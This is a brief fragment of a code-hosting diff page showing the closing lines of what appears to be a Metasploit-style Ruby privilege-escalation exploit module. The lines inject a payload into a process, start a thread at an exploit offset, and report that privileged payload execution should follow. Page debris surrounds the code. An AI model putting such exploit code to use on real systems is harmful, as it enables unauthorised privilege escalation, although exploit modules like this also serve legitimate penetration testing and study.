||||||
|
print_status('Payload injected. Executing exploit...')
|
||||||
|
process.thread.create(exploit_mem + offset, payload_mem)
|
||||||
|
|
||||||
|
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue